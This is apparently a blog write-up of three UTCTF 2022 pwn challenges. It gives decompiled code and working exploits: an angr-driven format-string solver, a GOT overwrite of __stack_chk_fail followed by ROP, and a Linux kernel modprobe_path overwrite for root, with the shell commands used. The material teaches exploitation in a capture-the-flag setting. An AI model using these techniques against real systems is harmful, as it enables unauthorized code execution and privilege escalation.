~ all posts ctf projects research
1738 words
9 minutes
UTCTF 2022
2022-03-13
$ file ./posts/utctf-2022/aeg/aeg1
ELF 64-bit LSB executable, x86-64, version 1 (SYSV)
$ file ./posts/utctf-2022/bloat/bzImage
Linux kernel x86 boot executable bzImage, version 5.15.0 (tristan@tristan-zenbook) #2 SMP Sun Mar 6 18:12:10 CST 2022, RO-rootFS, swap_dev 0X4, Normal VGA
$ file ./posts/utctf-2022/bloat/rootfs.cpio.gz
gzip compressed data, max compression, from Unix
$ file ./posts/utctf-2022/bloat/run.sh
POSIX shell script, ASCII text executable
$ file ./posts/utctf-2022/smol/smol
ELF 64-bit LSB executable, x86-64, version 1 (SYSV)

AEG#

1
Now with printf!
2
3
By Tristan (@trab on discord)
4
nc pwn.utctf.live 5002

I really like automatic exploit generation. I did the one in last year’s UTCTF and in general they are some of my favorite challenges. So of course as soon as I heard there was one here I went straight for it.

1
❯ nc pwn.utctf.live 5002
2
You will be given 10 randomly generated binaries.
3
You have 60 seconds to solve each one.
4
Solve the binary by making it exit with the given exit code
5
Press enter when you're ready for the first binary.
6
...xxd blob
7
8
Binary should exit with code 230

The first step is to scope out the provided binary. What’s the general sort of attack we’re doing, how do different binaries differ, etc.

1
void main(void)
2
3
{
4
long lVar1;
5
undefined8 *puVar2;
6
long in_FS_OFFSET;
7
undefined8 local_218;
8
undefined8 local_210;
9
undefined8 local_208 [63];
10
undefined8 local_10;
11
12
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
13
local_218 = 0;
14
local_210 = 0;
15
puVar2 = local_208;
16
for (lVar1 = 0x3e; lVar1 != 0; lVar1 = lVar1 + -1) {
17
*puVar2 = 0;
18
puVar2 = puVar2 + 1;
19
}
20
*(undefined2 *)puVar2 = 0;
21
fgets((char *)&local_218,0x202,stdin);
22
permute(&local_218);
23
printf((char *)&local_218);
24
/* WARNING: Subroutine does not return */
25
exit(exit_code);
26
}

It’s a pretty clear format string vulnerability and it exits using a global variable “exit_code” as an argument.

checksec of an aeg binary; no PIE

There isn’t even PIE, so with stack control and a format string vulnerability it should be pretty straightforward to use %n to write whatever we want to exit_code.

Unfortunately…

1
void permute(undefined8 param_1)
2
3
{
4
permute5(param_1);
5
permute3(param_1);
6
permute6(param_1);
7
permute1(param_1);
8
permute4(param_1);
9
permute7(param_1);
10
permute2(param_1);
11
permute8(param_1);
12
return;
13
}

Any input we provide gets shuffled up so what gets passed to printf is completely different than what gets provided via stdin. A quick check of a new binary shows that this all gets shuffled about when a new binary is generated. How do we resolve this?

Well I hate work so I just used angr to magic up a solution lol. All you need to do to solve this is make a format string payload, explore to find a state at the printf invocation, apply some constraints on memory, and then boom you can just ask for the stdin that fits those constraints. It’s really quite disgusting that it’s this easy.

1
import angr, argparse
2
from pwn import *
3
from claripy import *
4
import os
5
from subprocess import check_output
6
from pwn import *
7
8
r = remote("pwn.utctf.live", 5002)
9
10
r.sendline()
11
r.recvuntil("binary.\n")
12
for i in range(10):
13
log.info(f"trying round {i}")
14
with open("tmp.xxd", "wb") as f:
15
f.write(r.recvuntil("\n\n"))
16
os.system("xxd -rp tmp.xxd > binary.tmp")
17
18
r.recvuntil(b"Binary should exit with code ")
19
exit_code = int(r.recvline().rstrip())
20
log.info(f"attempting to call exit({exit_code})")
21
exe = ELF("./binary.tmp")
22
p = angr.Project("./binary.tmp")
23
24
state = p.factory.blank_state()
25
simgr = p.factory.simgr(state, save_unconstrained=True)
26
27
28
# lmao this is genuinely disgusting
29
printf_caller_addr = int(check_output("objdump -Mintel -D ./binary.tmp | rg \"call.*?printf@plt\"",shell=True).decode().lstrip().split(":")[0], 16)
16 collapsed lines
30
31
32
payload = f"%{exit_code}c%10$n\x00"
33
simgr.explore(find=printf_caller_addr)
34
for i in simgr.found:
35
i.add_constraints(i.memory.load(i.regs.rdi,len(payload)) == payload)
36
i.add_constraints(i.memory.load(i.regs.rdi+16,8) == p64(exe.symbols['exit_code']))
37
if i.satisfiable():
38
log.info("sat!")
39
else:
40
log.error("oop not sat :(")
41
exit(0)
42
43
r.send(i.posix.dumps(0))
44
r.recvuntil(f"{exit_code}\n")
45
r.interactive()

I went to run it on the server… only to find that it took too long. Averaged something like 80 seconds on my laptop and the server times out at 60 seconds per binary. I was a little scared that I wouldn’t be able to get it fast enough to solve but a little investigation found that pypy is actually a significant improvement for angr runtimes. I tried running it with pypy and sure enough it cut my average execution time to 40 seconds, comfortably fast enough to solve it.

utflag{you_mix_me_right_round_baby_right_round135799835}

smol#

1
You can have a little overflow, as a treat
2
3
By Tristan (@trab on discord)
4
nc pwn.utctf.live 5004

checksec of smol; no PIE but it has a canary

1
undefined8 main(void)
2
3
{
4
char cVar1;
5
int iVar2;
6
ulong uVar3;
7
char *pcVar4;
8
long in_FS_OFFSET;
9
byte bVar5;
10
char local_158 [111];
11
undefined4 uStack233;
12
undefined2 uStack229;
13
char local_78 [104];
14
long local_10;
15
16
bVar5 = 0;
17
local_10 = *(long *)(in_FS_OFFSET + 0x28);
18
puts("What kind of data do you have?");
19
gets(local_158);
20
iVar2 = strcmp(local_158,"big data");
21
if (iVar2 == 0) {
22
uVar3 = 0xffffffffffffffff;
23
pcVar4 = (char *)((long)&uStack233 + 1);
24
do {
25
if (uVar3 == 0) break;
26
uVar3 = uVar3 - 1;
27
cVar1 = *pcVar4;
28
pcVar4 = pcVar4 + (ulong)bVar5 * -2 + 1;
29
} while (cVar1 != '\0');
31 collapsed lines
30
*(undefined4 *)((long)&uStack233 + ~uVar3) = 0x30322025;
31
*(undefined2 *)((long)&uStack229 + ~uVar3) = 0x73;
32
}
33
else {
34
iVar2 = strcmp(local_158,"smol data");
35
if (iVar2 == 0) {
36
uVar3 = 0xffffffffffffffff;
37
pcVar4 = (char *)((long)&uStack233 + 1);
38
do {
39
if (uVar3 == 0) break;
40
uVar3 = uVar3 - 1;
41
cVar1 = *pcVar4;
42
pcVar4 = pcVar4 + (ulong)bVar5 * -2 + 1;
43
} while (cVar1 != '\0');
44
*(undefined4 *)((long)&uStack233 + ~uVar3) = 0x73352025;
45
*(undefined *)((long)&uStack229 + ~uVar3) = 0;
46
}
47
else {
48
puts("Error");
49
}
50
}
51
puts("Give me your data");
52
gets(local_78);
53
printf((char *)((long)&uStack233 + 1),local_78);
54
putchar(10);
55
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
56
/* WARNING: Subroutine does not return */
57
__stack_chk_fail();
58
}
59
return 0;
60
}

The big takeaway I get from this is that it’s vulnerable as fuck. Multiple gets calls, and a sus printf. A naive overflow can’t exploit this because of the canary but we also have a printf which uses a stack string as the format string. This is unimaginably suspicious to me because honestly no good reason why it shouldn’t be an unwritable constant string. A little investigation on how it gets populated (in two conditional blocks, branched based on strcmp) shows that if neither of those strcmp calls match then the stack string is uninitialized.

At this point the general structure of the attack is clear

  1. Overflow the “what kind of data” prompt to fill the stack string with whatever we want and not match either big or smol data.
  2. Rewrite the GOT entry for __stack_chk_fail to a ret gadget
  3. ROP to get_flag.
1
#!/usr/bin/env python3
2
3
from pwn import *
4
5
exe = ELF("./smol_patched")
6
7
context.binary = exe
8
9
10
def conn():
11
if args.LOCAL:
12
r = process([exe.path])
13
if args.GDB:
14
gdb.attach(r)
15
else:
16
r = remote("pwn.utctf.live", 5004)
17
return r
18
19
20
def main():
21
r = conn()
22
payload = fmtstr_payload(20, {exe.got['__stack_chk_fail']: next(exe.search(b'\xc3'))})
23
r.sendline(b"A" * 112 + payload)
24
r.sendline(b"A" * 120 + p64(exe.symbols['get_flag']))
25
26
# good luck pwning :)
27
28
r.interactive()
29
3 collapsed lines
30
31
if __name__ == "__main__":
32
main()

utflag{just_a_little_salami15983350}

bloat#

1
I've created a new binary format. Unlike ELF, it has no bloat. It just consists of a virtual address to store the data at, then 248 bytes of data. However, when I tried to contribute it back to the mainline kernel they all called my submission "idiotic", and "wildly unsafe". They just cant recognize the next generation of Linux binaries.
2
3
Login with username bloat and no password
4
5
By Tristan (@trab on discord)
6
nc pwn.utctf.live 5003

”wildly unsafe” is a great sign xd. “A virtual address to store data and then 248 bytes of data” really screams arbitrary write to me. There isn’t a lot of complexity to hide vulnerability so I suspected it would be the obvious one — unchecked virtual address to copy the remainder of the data to. A quick look at run.sh shows that flag.txt is mounted as /dev/sda but that we’ll need root to read it.

Let’s pop open the rootfs and see what can be found.

Terminal window
1
mkdir rootfs
2
cd rootfs
3
gzip -cd ../rootfs.cpio.gz | cpio -idmv

Poking around, there’s a pretty good amount of stuff here (a minimal linux installation) but we know more or less that we’re looking for a kernel module and so we quickly find /lib/modules/5.15.0/extra/bloat.ko. Let’s open it up!

1
int load_bloat_binary(long param_1)
2
3
{
4
ulong *puVar1;
5
undefined *puVar2;
6
int iVar3;
7
byte *pbVar4;
8
undefined *puVar5;
9
undefined *puVar6;
10
long lVar7;
11
undefined8 uVar8;
12
byte *pbVar9;
13
int iVar10;
14
long in_GS_OFFSET;
15
bool bVar11;
16
bool bVar12;
17
byte bVar13;
18
19
bVar13 = 0;
20
pbVar4 = (byte *)strrchr(*(char **)(param_1 + 0x60),L'.');
21
bVar11 = false;
22
bVar12 = pbVar4 == (byte *)0x0;
23
if (!bVar12) {
24
lVar7 = 7;
25
pbVar9 = (byte *)".bloat";
26
do {
27
if (lVar7 == 0) break;
28
lVar7 = lVar7 + -1;
29
bVar11 = *pbVar4 < *pbVar9;
53 collapsed lines
30
bVar12 = *pbVar4 == *pbVar9;
31
pbVar4 = pbVar4 + (ulong)bVar13 * -2 + 1;
32
pbVar9 = pbVar9 + (ulong)bVar13 * -2 + 1;
33
} while (bVar12);
34
if ((!bVar11 && !bVar12) == bVar11) {
35
lVar7 = generic_file_llseek(*(undefined8 *)(param_1 + 0x40),0,2);
36
generic_file_llseek(*(undefined8 *)(param_1 + 0x40),0,0);
37
if (lVar7 < 0x101) {
38
iVar3 = begin_new_exec(param_1);
39
if (iVar3 != 0) {
40
return iVar3;
41
}
42
puVar1 = *(ulong **)(&current_task + in_GS_OFFSET);
43
*(undefined4 *)(puVar1 + 0x6f) = 0;
44
set_binfmt(bloat_fmt);
45
setup_new_exec(param_1);
46
puVar2 = *(undefined **)(param_1 + 0xa0);
47
uVar8 = 0x7ffffffff000;
48
*(undefined **)(puVar1[0x62] + 0xf0) = puVar2;
49
*(long *)(puVar1[0x62] + 0xf8) = *(long *)(puVar1[0x62] + 0xf0) + lVar7;
50
if (((*puVar1 & 0x20000000) != 0) &&
51
(uVar8 = 0xc0000000, (*(byte *)((long)puVar1 + 0x37b) & 8) == 0)) {
52
uVar8 = 0xffffe000;
53
}
54
iVar3 = setup_arg_pages(param_1,uVar8,0);
55
if (iVar3 != 0) {
56
return iVar3;
57
}
58
vm_mmap(0,puVar2,0x100,7,0x12,0);
59
__put_user_1();
60
iVar10 = (int)lVar7;
61
iVar3 = 0x100;
62
if (iVar10 < 0x101) {
63
iVar3 = iVar10;
64
}
65
if (8 < iVar10) {
66
puVar5 = puVar2;
67
do {
68
puVar6 = puVar5 + 1;
69
*puVar5 = puVar5[(param_1 - (long)puVar2) + 0xa8];
70
puVar5 = puVar6;
71
} while ((8 - (int)puVar2) + (int)puVar6 < iVar3);
72
}
73
finalize_exec(param_1);
74
start_thread(*(long *)(*(long *)(&current_task + in_GS_OFFSET) + 0x20) + 0x3f58,puVar2,
75
*(undefined8 *)
76
(*(long *)(*(long *)(&current_task + in_GS_OFFSET) + 0x310) + 0x120));
77
return 0;
78
}
79
}
80
}
81
return -8;
82
}

Ahahahahaha it’s literally just that. It maps some RWX memory, copies the bytes from the rest of the file, and then executes. Unfortunately userspace code execution just won’t do it so we need to do some kernel funny business to become root. All of this behavior happens as a binfmt handler which triggers for any file named “.bloat”.

I spent a good amount of time researching — I’ve never actually done kernel exploitation before. I liked this challenge a lot for being rather easy but enough to sorta take the edge off my fear of kernel exploitation. After a while I found a blog post on modprobe_path exploitation which immediately looked quite promising.

Turns out there is a nice “modprobe_path” symbol in the kernel which points to an executable. This executable gets called whenever you try and execute a binary that has no handler. I assume there is a reason but idk why. Good thing for me since this was super easy.

This challenge was actually even easier than the challenge that blog post went over! We have true arbitrary write and no kaslr so all I needed to do was grab the address of modprobe_path from /proc/kallsyms and then write a brief payload to overwrite it with my own script to run as root

1
from pwn import *
2
3
modprobe_path = p64(0xffffffff82038180)
4
payload = p64(modprobe_path)
5
payload += b"/tmp/x\x00"
6
7
print(payload)
Terminal window
1
echo -ne "\x80\x81\x03\x82\xff\xff\xff\xff/tmp/x\x00" > .bloat
2
echo -ne "#!/bin/sh\ncp /dev/sda /tmp/flag\nchmod 777 /tmp/flag" > x
3
echo -ne "\xff\xff\xff\xff" > dummy
4
chmod +x ./bloat
5
./bloat
6
./dummy
7
8
cat flag
9
utflag{oops_forgot_to_use_put_user283558318}